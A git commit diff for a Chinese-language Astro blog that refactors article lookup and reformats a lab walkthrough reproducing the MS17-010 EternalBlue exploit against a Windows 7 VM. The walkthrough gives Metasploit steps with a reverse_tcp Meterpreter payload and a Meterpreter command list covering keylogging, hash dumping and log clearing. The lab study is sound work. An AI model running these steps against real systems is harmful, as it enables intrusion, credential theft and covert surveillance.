修复了文章找不到问题

This commit is contained in:
lsy 2025-03-10 13:56:56 +08:00
parent a474298866
commit ab83710eb6
6 changed files with 483 additions and 308 deletions

View File

@ -1,31 +0,0 @@
---
import { getCollection } from 'astro:content';
import type { CollectionEntry } from 'astro:content';
// 获取所有文章,并按日期排序
const articles: CollectionEntry<'articles'>[] = await getCollection('articles');
const sortedArticles = articles.sort(
(a, b) => b.data.date.getTime() - a.data.date.getTime()
);
---
<div class="my-8">
<h2 class="text-2xl font-bold mb-6 text-primary-900 dark:text-primary-100">文章列表</h2>
<ul>
{sortedArticles.map((article: CollectionEntry<'articles'>) => (
<li class="mb-6 list-none">
<a href={`/articles/${article.id}`} class="block p-4 rounded-lg no-underline text-inherit bg-white dark:bg-dark-card border border-secondary-200 dark:border-dark-border hover:border-primary-300 dark:hover:border-primary-700 transition-all duration-300 hover:shadow-md">
<h3 class="m-0 mb-2 text-primary-800 dark:text-primary-200">{article.data.title}</h3>
<p class="text-sm text-secondary-500 dark:text-secondary-400 my-1">{article.data.date.toLocaleDateString('zh-CN')}</p>
{article.data.summary && <p class="my-2 leading-relaxed text-secondary-700 dark:text-secondary-300">{article.data.summary}</p>}
{article.data.tags && (
<div class="flex flex-wrap gap-2 mt-2">
{article.data.tags.map((tag: string) => (
<span class="text-xs bg-primary-50 dark:bg-primary-900/30 text-primary-700 dark:text-primary-300 py-1 px-2 rounded-full">{tag}</span>
))}
</div>
)}
</a>
</li>
))}
</ul>
</div>

View File

@ -3,13 +3,11 @@ import type { CollectionEntry } from 'astro:content';
interface Props {
title?: string;
itemsPerPage?: number;
articles: CollectionEntry<'articles'>[];
}
const {
title = "文章时间线",
itemsPerPage = 10,
articles = []
} = Astro.props;

View File

@ -1,8 +1,6 @@
// 1. 从 `astro:content` 导入工具函数
import { defineCollection, z } from 'astro:content';
import { defineCollection, z, getCollection, type CollectionEntry } from 'astro:content';
import { glob } from 'astro/loaders';
import fs from 'node:fs';
import path from 'node:path';
// 2. 定义内容结构接口
export interface ContentStructure {
@ -19,22 +17,15 @@ export interface SectionStructure {
// 辅助函数获取相对于content目录的路径
export function getRelativePath(fullPath: string, basePath = './src/content'): string {
// 统一路径分隔符
const normalizedPath = fullPath.replace(/\\/g, '/');
const normalizedBasePath = basePath.replace(/\\/g, '/');
// 移除基础路径
let relativePath = normalizedPath;
// 如果路径包含基础路径,则移除它
if (normalizedPath.includes(normalizedBasePath)) {
relativePath = normalizedPath.replace(normalizedBasePath, '');
}
// 移除开头的斜杠
relativePath = relativePath.startsWith('/') ? relativePath.substring(1) : relativePath;
// 如果路径以articles/开头移除它适配Astro内容集合
if (relativePath.startsWith('articles/')) {
relativePath = relativePath.substring('articles/'.length);
}
@ -44,129 +35,124 @@ export function getRelativePath(fullPath: string, basePath = './src/content'): s
// 辅助函数:从文件路径中提取文件名(不带扩展名)
export function getBasename(filePath: string): string {
// 统一路径分隔符
const normalizedPath = filePath.replace(/\\/g, '/');
// 分割路径并获取最后一部分(文件名)
const parts = normalizedPath.split('/');
const fileName = parts[parts.length - 1];
// 移除扩展名
const basename = fileName.replace(/\.(md|mdx)$/, '');
return basename;
return fileName.replace(/\.(md|mdx)$/, '');
}
// 辅助函数:从文件路径中提取目录路径
export function getDirPath(filePath: string, basePath = './src/content'): string {
const basename = getBasename(filePath);
const relativePath = getRelativePath(filePath, basePath);
// 移除文件名部分,获取目录路径
const dirPath = relativePath.replace(`${basename}.md`, '').replace(/\/$/, '');
return dirPath;
return relativePath.replace(`${basename}.md`, '').replace(/\/$/, '');
}
// 辅助函数:获取原始文件路径(移除特殊前缀)
export function getOriginalPath(specialPath: string): string {
// 检查路径是否包含特殊前缀
const parts = specialPath.split('/');
const fileName = parts[parts.length - 1];
// 如果文件名以下划线开头,移除它
if (fileName.startsWith('_')) {
const originalFileName = fileName.substring(1);
const newParts = [...parts.slice(0, -1), originalFileName];
return newParts.join('/');
}
return specialPath;
}
// 辅助函数:获取特殊文件路径(添加特殊前缀)
// 辅助函数:获取特殊文件路径
export function getSpecialPath(originalPath: string): string {
// 检查文件名是否与其所在目录名相同或包含目录名
const parts = originalPath.split('/');
const fileName = parts[parts.length - 1].replace(/\.md$/, '');
const fileName = parts[parts.length - 1];
const dirName = parts.length > 1 ? parts[parts.length - 2] : '';
// 如果文件名与目录名相同或以目录名开头,则在文件名前添加特殊前缀
if (parts.length > 1) {
const dirName = parts[parts.length - 2];
if (fileName.toLowerCase() === dirName.toLowerCase() || fileName.toLowerCase().startsWith(dirName.toLowerCase())) {
// 创建一个新的路径,在文件名前添加下划线前缀
// 如果文件名与目录名相同,添加下划线前缀
if (dirName && fileName.toLowerCase() === dirName.toLowerCase()) {
const newFileName = fileName.startsWith('_') ? fileName : `_${fileName}`;
const fileExt = originalPath.endsWith('.md') ? '.md' : '';
const newParts = [...parts.slice(0, -1), newFileName + fileExt];
return newParts.join('/');
}
return [...parts.slice(0, -1), newFileName].join('/');
}
return originalPath;
}
// 辅助函数:标准化文件名
function normalizeFileName(fileName: string): string {
// 先转换为小写
let normalized = fileName.toLowerCase();
// 保存括号中的内容
const bracketContent = normalized.match(/[(](.*?)[)]/)?.[1] || '';
// 标准化处理
normalized = normalized
.replace(/[(].*?[)]/g, '') // 移除括号及其内容
.replace(/[【】\[\]]/g, '') // 移除方括号
.replace(/[—–]/g, '-') // 统一全角横线为半角
.replace(/\s+/g, '-') // 空格转换为连字符
.replace(/[.:;,'"!?`]/g, '') // 移除标点符号
.replace(/-+/g, '-') // 合并多个连字符
.replace(/^-|-$/g, ''); // 移除首尾连字符
// 如果括号中有内容,将其添加回去
if (bracketContent) {
normalized = `${normalized}-${bracketContent}`;
}
return normalized;
}
// 3. 定义目录结构处理函数
function getContentStructure(contentDir = './src/content', basePath = './src/content'): ContentStructure {
// 检查目录是否存在
if (!fs.existsSync(contentDir)) {
return { articles: [], sections: [] };
}
// 获取目录下的所有文件和文件夹
const items = fs.readdirSync(contentDir, { withFileTypes: true });
async function getContentStructure(): Promise<ContentStructure> {
// 获取所有文章
const allArticles = await getCollection('articles');
const articlePaths = allArticles.map((entry: CollectionEntry<'articles'>) => entry.id);
// 分离文章和目录
const articles = items
.filter(item => item.isFile() && item.name.endsWith('.md'))
.map(item => {
// 生成相对于content目录的路径用于在页面中查找文章
const fullPath = path.join(contentDir, item.name);
// 将路径转换为相对于content目录的格式并移除basePath
const relativePath = fullPath.replace(basePath, '').replace(/^[\/\\]/, '');
// 构建目录树
const sections = new Map<string, SectionStructure>();
// 检查文件名是否与其所在目录名相同或包含目录名
const pathParts = relativePath.split(/[\/\\]/);
const fileName = pathParts[pathParts.length - 1].replace(/\.md$/, '');
// 处理每个文章路径
for (const articlePath of articlePaths) {
const parts = articlePath.split('/');
const fileName = parts[parts.length - 1];
const dirPath = parts.slice(0, -1);
// 如果文件名与目录名相同或以目录名开头,则在文件名前添加特殊前缀
if (pathParts.length > 1) {
const dirName = pathParts[pathParts.length - 2];
if (fileName === dirName || fileName.startsWith(dirName)) {
// 创建一个新的路径,在文件名前添加下划线前缀
const newFileName = `_${fileName}.md`;
const newPathParts = [...pathParts.slice(0, -1), newFileName];
return newPathParts.join('/');
}
}
// 为每一级目录创建或更新节点
let currentPath = '';
for (const part of dirPath) {
const parentPath = currentPath;
currentPath = currentPath ? `${currentPath}/${part}` : part;
return relativePath.replace(/\\/g, '/');
if (!sections.has(currentPath)) {
sections.set(currentPath, {
name: part,
path: currentPath,
articles: [],
sections: []
});
}
// 获取子目录(作为章节)
const sections: SectionStructure[] = items
.filter(item => item.isDirectory())
.map(item => {
const sectionPath = path.join(contentDir, item.name);
// 递归获取子目录的结构
const sectionContent: ContentStructure = getContentStructure(sectionPath, basePath);
// 将当前节点添加到父节点的子节点列表中
if (parentPath) {
const parentSection = sections.get(parentPath);
if (parentSection && !parentSection.sections.find(s => s.path === currentPath)) {
parentSection.sections.push(sections.get(currentPath)!);
}
}
}
// 确保路径格式正确并移除basePath
const relativePath = sectionPath.replace(basePath, '').replace(/^[\/\\]/, '');
const normalizedPath = relativePath.replace(/\\/g, '/');
// 将文章添加到其所在目录
if (dirPath.length > 0) {
const dirFullPath = dirPath.join('/');
const section = sections.get(dirFullPath);
if (section) {
section.articles.push(articlePath);
}
}
}
// 获取顶级目录
const topLevelSections = Array.from(sections.values())
.filter(section => !section.path.includes('/'));
// 获取顶级文章(不在任何子目录中的文章)
const topLevelArticles = articlePaths.filter((path: string) => !path.includes('/'));
return {
name: item.name,
path: normalizedPath,
articles: sectionContent.articles,
sections: sectionContent.sections
articles: topLevelArticles,
sections: topLevelSections
};
});
return { articles, sections };
}
// 4. 定义你的集合
const articles = defineCollection({
// 使用glob加载器从content目录加载所有markdown文件
loader: glob({
pattern: "**/*.md",
base: "./src/content"
@ -179,15 +165,13 @@ const articles = defineCollection({
image: z.string().optional(),
author: z.string().optional(),
draft: z.boolean().optional().default(false),
// 添加section字段用于标识文章所属的目录
section: z.string().optional(),
// 添加weight字段用于排序
weight: z.number().optional(),
}),
});
// 6. 导出一个 `collections` 对象来注册你的集合
// 5. 导出一个 `collections` 对象来注册你的集合
export const collections = { articles };
// 7. 导出内容结构,可以在构建时使用
export const contentStructure = getContentStructure();
// 6. 导出内容结构
export const contentStructure = await getContentStructure();

View File

@ -0,0 +1,11 @@
---
title: "dns 解锁"
date: 2025-01-18 14:19:00Z
tags: []
---
## 1. 安装dnsmasq
```bash
yum install dnsmasq -y
```

View File

@ -1,52 +1,58 @@
---
title: "Ms17 010永恒之蓝漏洞复现"
date: 2024-06-30T00:55:27+08:00
date: 2024-06-30T00:55:27Z
tags: []
---
## 一、前言
### 一. 前言
### 1. 漏洞描述
#### 1. 漏洞描述
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞恶意代码会扫描开放445文件共享端口的Windows机器无需用户任何操作只要开机上网不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
### 2. 漏洞影响
#### 2.漏洞影响
目前已知受影响的 Windows 版本包括但不限于Windows NTWindows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
## 二、复现环境
### 二. 复现环境
* 虚拟环境搭建:`VMware Workstation 17 pro`
* 网络模式:`NAT`
* 攻击机:`kali Linux WSL`
* 攻击机IP`192.168.97.173`
* 攻击工具:`nmap` `metasploit(MSF)`
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`**前提win7关闭防火墙**
* 靶机IP`192.168.97.128`
## 三、启动 MSF
### 三. 启动 MSF
1. 安装MSF
```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
```
2. 进入框架
```bash
msfconsole
```
3. 初始化
```bash
init
```
## 四、寻找主机
### 1. ipconfig
### 四. 寻找主机
* **ipconfig**
使用`ipconfig`分别查看win7和kali中的ip地址
* **nmap**
### 2. nmap
```bash
nmap -T5 -sP 192.168.97.0/24
```
@ -55,15 +61,18 @@ nmap -T5 -sP 192.168.97.0/24
* **`-sP`**:执行 Ping 连接扫描。
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
| **IP地址** | 私有ip范围 | 子网掩码 | CIDR |
|------------|------------|-----------|------|
| **IP地址**<br /> | | | |
| --------- | :----------------------------- | :-------------- | :--------------- |
| | 私有ip范围 | 子网掩码 | CIDR |
| A类地址 | 10.0.0.010.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
| B类地址 | 172.16.0.0173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
| C类地址 | 192.168.0.0192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
## 五、端口扫描
### 五. 端口扫描
* **nmap**
### 1. nmap
```bash
nmap -T5 -sT 192.168.97.128
```
@ -71,25 +80,25 @@ nmap -T5 -sT 192.168.97.128
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sT`**:执行 TCP 连接扫描。
* **`192.168.97.128`**:扫描指定的 IP
### 2. MSF 端口扫描
* **MSF** 端口扫描
1. 使用模块
```bash
use auxiliary/scanner/portscan/tcp
```
2. 设置扫描ip
```bash
set rhosts 192.168.97.128
```
3. 运行
```bash
run
```
## 六、查找永恒之蓝漏洞
### 六. 查找永恒之蓝漏洞
微软 永恒之蓝 编号`ms17-010`
@ -98,79 +107,354 @@ search ms17_010
```
1. `exploit/windows/smb/ms17_010_eternalblue`
* 这个模块利用了MS17-010漏洞通过EternalBlue攻击载荷远程执行代码。
* EternalBlue利用Windows的Server Message BlockSMB协议中的漏洞允许攻击者在目标机器上执行任意代码。
* 攻击成功后通常会在目标机器上生成一个Meterpreter会话从而允许进一步的渗透测试操作。
2. `exploit/windows/smb/ms17_010_psexec`
* 这个模块结合MS17-010漏洞和Psexec技术通过SMB协议在目标系统上执行命令。
* 利用MS17-010漏洞进行初始攻击然后使用Psexec进行进一步的远程命令执行。
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
3. `auxiliary/admin/smb/ms17_010_command`
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
4. `auxiliary/scanner/smb/smb_ms17_010`
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
* 不会进行实际的漏洞利用或攻击而是仅检测目标系统是否易受MS17-010漏洞的影响。
## 七、漏洞检测
### 七. 漏洞检测
### 1. 使用探测模块
* 使用探测模块
1. 使用`Auxiliary`辅助探测模块
```bash
use auxiliary/scanner/smb/smb_ms17_010
```
```bash
use 24
```
2. 查看需要配置的参数
```bash
show options
```
3. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
4. 运行
```bash
run
```
* nmap
### 2. nmap
```bash
nmap --script smb-vuln-ms17-010 192.168.97.128
```
## 八、漏洞攻击
### 八. 漏洞攻击
1. 加载 ms17-010 攻击模块
```bash
use exploit/windows/smb/ms17_010_eternalblue
```
2. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
3. 设置连接方式为反向连接
```bash
set payload windows/x64/meterpreter/reverse_tcp
```
4. 运行
```bash
run
```
## 九、Meterpreter命令用法
[命令列表和详细说明...]
### Meterpreter的命令用法
```bash
==========================================
核心命令:
==========================================
命令 说明
------- ------------
? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话用于 http/https
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure (重新)协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静,然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道
==========================================
Stdapi文件系统命令
==========================================
命令 说明
------- ------------
cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件ls 的别名)
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
==========================================
Stdapi网络命令
==========================================
命令 说明
------- ------------
arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表
==========================================
Stdapi系统命令
==========================================
命令 说明
------- ------------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 放入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如 OS
==========================================
Stdapi用户界面命令
==========================================
命令 说明
------- ------------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件
==========================================
Stdapi网络摄像头命令
==========================================
命令 说明
------- ------------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流
==========================================
Stdapi音频输出命令
==========================================
命令 说明
------- ------------
play 在目标系统上播放波形音频文件 (.wav)
==========================================
Priv权限提升命令
==========================================
命令 说明
------- ------------
getsystem 尝试将您的权限提升到本地系统的权限。
==========================================
Priv密码数据库命令
==========================================
命令 说明
------- ------------
hashdump 转储 SAM 数据库的内容
==========================================
PrivTimestomp 命令:
==========================================
命令 说明
------- ------------
timestomp 操作文件 MACE 属性
```
### 使用发放
#### 基础使用:
* 进入框架
```bash
msfconsole
```
* 查找漏洞
```bash
search 漏洞编号
```
* 使用模块
```bash
run
```
#### Meterpreter工作原理
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接或者反弹 reverse 连接。反射连接的时候加载dll链接文件同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后Meterpreter加载扩展所有的扩展被加载都通过TLS/1.0进行数据传输。
#### 漏洞利用(exploit)
> 漏洞利用exploit也就是我们常说的exp他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径(这里面有针对不同平台的exploit)
```php
/usr/share/metasploit-framework/modules/exploits
```
#### 攻击载荷(payload)
> PayloadPayload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码而在Metasploit中Payload是一种特殊模块它们能够以漏洞利用模块运行并能够利用目标系统中的安全漏洞实施攻击。简而言之这种漏洞利用模块可以访问目标系统而其中的代码定义了Payload在目标系统中的行为。
> ShellcodeShellcode是payload中的精髓部分在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下目标系统执行了shellcode这一组指令之后才会提供一个命令行shell。
##### payload模块路径
```php
/usr/share/metasploit-framework/modules/payloads
```
##### Metasploit中的 Payload 模块主要有以下三种类型:
* Single
> 是一种完全独立的Payload而且使用起来就像运行calc.exe一样简单例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
>
* Stager
> 这种Payload 负责建立目标用户与攻击者之间的网络连接并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp它可以让目标系统开启一个tcp监听器而攻击者随时可以与目标系统进行通信(正向连接)。  
>
* Stage
> 是Stager Payload下的一种Payload组件这种Payload可以提供更加高级的功能而且没有大小限制。
>
##### 几种常见的payload
* 正向连接
```bash
windows/meterpreter/bind_tcp
```
* 反向连接
```bash
windows/meterpreter/reverse_tcp
```
* 过监听80端口反向连接
```bash
windows/meterpreter/reverse_http
```
* 通过监听443端口反向连接
```bash
windows/meterpreter/reverse_https
```
##### **使用场景**
* 正向连接使用场景:
> 我们的攻击机在内网环境被攻击机是外网环境由于被攻击机无法主动连接到我们的主机所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是被攻击机上开了防火墙只允许访问指定的端口比如被攻击机只对外开放了80端口。那么我们就只能设置正向连接80端口了这里很有可能失败因为80端口上的流量太多了。
>
* 反向连接使用场景:
> 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
>
* 反向连接80和443端口使用场景
> 被攻击机能主动连接到我们的主机还有就是被攻击机的防火墙设置的特别严格就连被攻击机访问外部网络的流量也进行了严格的限制只允许被攻击机的80端口或443端口与外部通信。
>

View File

@ -1,7 +1,7 @@
---
import { getCollection } from 'astro:content';
import type { CollectionEntry } from 'astro:content';
import { contentStructure, getRelativePath, getBasename, getDirPath, getSpecialPath } from '../../content.config';
import { contentStructure } from '../../content.config';
import Layout from '@/components/Layout.astro';
import Breadcrumb from '@/components/Breadcrumb.astro';
import ArticleTimeline from '@/components/ArticleTimeline.astro';
@ -194,7 +194,7 @@ interface Breadcrumb {
// 处理特殊ID的函数
function getArticleUrl(articleId: string) {
return `/articles/${getSpecialPath(articleId)}`;
return `/articles/${articleId}`;
}
---
@ -343,89 +343,13 @@ function getArticleUrl(articleId: string) {
) : (
// 显示当前目录的文章
currentArticles.map(articlePath => {
// 获取文章ID
const articleId = getRelativePath(articlePath);
// 获取文章ID - 不需要移除src/content前缀因为contentStructure中已经是相对路径
const articleId = articlePath;
// 尝试不同的方式匹配文章
const article = articles.find(a => {
// 1. 直接匹配完整路径
if (a.id.toLowerCase() === articleId.toLowerCase()) {
return true;
}
// 2. 匹配文件名(不含路径和扩展名)
const baseName = getBasename(articleId);
if (a.id.toLowerCase() === baseName.toLowerCase()) {
return true;
}
// 3. 尝试匹配相对路径的一部分
const articleParts = articleId.split('/');
const fileName = articleParts[articleParts.length - 1];
if (a.id.toLowerCase().endsWith(fileName.toLowerCase())) {
return true;
}
// 4. 移除.md扩展名后匹配
const idWithoutExt = articleId.replace(/\.md$/, '');
if (a.id.toLowerCase() === idWithoutExt.toLowerCase()) {
return true;
}
// 5. 处理多级目录结构
// 如果文章ID包含目录路径尝试匹配最后的文件名部分
const articlePathParts = articlePath.split('/');
const articleFileName = articlePathParts[articlePathParts.length - 1];
const articleIdParts = a.id.split('/');
const articleIdFileName = articleIdParts[articleIdParts.length - 1];
if (articleFileName.toLowerCase() === articleIdFileName.toLowerCase()) {
return true;
}
// 6. 移除扩展名后比较文件名
const fileNameWithoutExt = articleFileName.replace(/\.md$/, '');
if (articleIdFileName.toLowerCase() === fileNameWithoutExt.toLowerCase()) {
return true;
}
return false;
});
// 尝试匹配文章
const article = articles.find(a => a.id === articleId);
if (!article) {
// 尝试直接使用 getSpecialPath 处理文章ID
const specialId = getSpecialPath(articleId);
const articleWithSpecialPath = articles.find(a => a.id.toLowerCase() === specialId.toLowerCase());
if (articleWithSpecialPath) {
return (
<a href={getArticleUrl(articleWithSpecialPath.id)}
class="group flex flex-col h-full p-5 border border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
<div class="flex items-start">
<div class="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 text-primary-600 group-hover:bg-primary-200 transition-colors">
<svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 20H5a2 2 0 01-2-2V6a2 2 0 012-2h10a2 2 0 012 2v1m2 13a2 2 0 01-2-2V7m2 13a2 2 0 002-2V9a2 2 0 00-2-2h-2m-4-3H9M7 16h6M7 8h6v4H7V8z" />
</svg>
</div>
<div class="ml-3 flex-1">
<h3 class="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 transition-colors line-clamp-2">{articleWithSpecialPath.data.title}</h3>
{articleWithSpecialPath.body && (
<p class="text-xs text-gray-600 mt-1 line-clamp-2">
{extractSummary(articleWithSpecialPath.body)}
</p>
)}
<div class="text-xs text-gray-500 mt-2 flex items-center justify-between">
<time datetime={articleWithSpecialPath.data.date.toISOString()}>
{articleWithSpecialPath.data.date.toLocaleDateString('zh-CN', {year: 'numeric', month: 'long', day: 'numeric'})}
</time>
<span class="text-primary-600 font-medium">阅读全文</span>
</div>
</div>
</div>
</a>
);
}
return (
<div class="flex flex-col h-full p-5 border border-red-200 rounded-xl bg-red-50 shadow-lg">
<div class="flex items-start">
@ -436,9 +360,14 @@ function getArticleUrl(articleId: string) {
</div>
<div class="ml-3 flex-1">
<h3 class="font-bold text-base text-red-800">文章不存在</h3>
<p class="text-xs text-red-600 mt-1">ID: {articleId}</p>
<div class="text-xs text-red-500 mt-2 line-clamp-1">
可能需要特殊路径处理,请检查文件名是否与目录名相同或包含目录名
<p class="text-xs text-red-600 mt-1">
<div>原始路径: {articlePath}</div>
<div>文章ID: {articleId}</div>
<div>当前目录: {currentPath}</div>
</p>
<div class="text-xs text-red-500 mt-2">
<div>可用的文章ID:</div>
<div class="line-clamp-3">{articles.map(a => a.id).join(', ')}</div>
</div>
</div>
</div>
@ -447,7 +376,7 @@ function getArticleUrl(articleId: string) {
}
return (
<a href={getArticleUrl(article.id)}
<a href={`/articles/${article.id}`}
class="group flex flex-col h-full p-5 border border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
<div class="flex items-start">
<div class="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 text-primary-600 group-hover:bg-primary-200 transition-colors">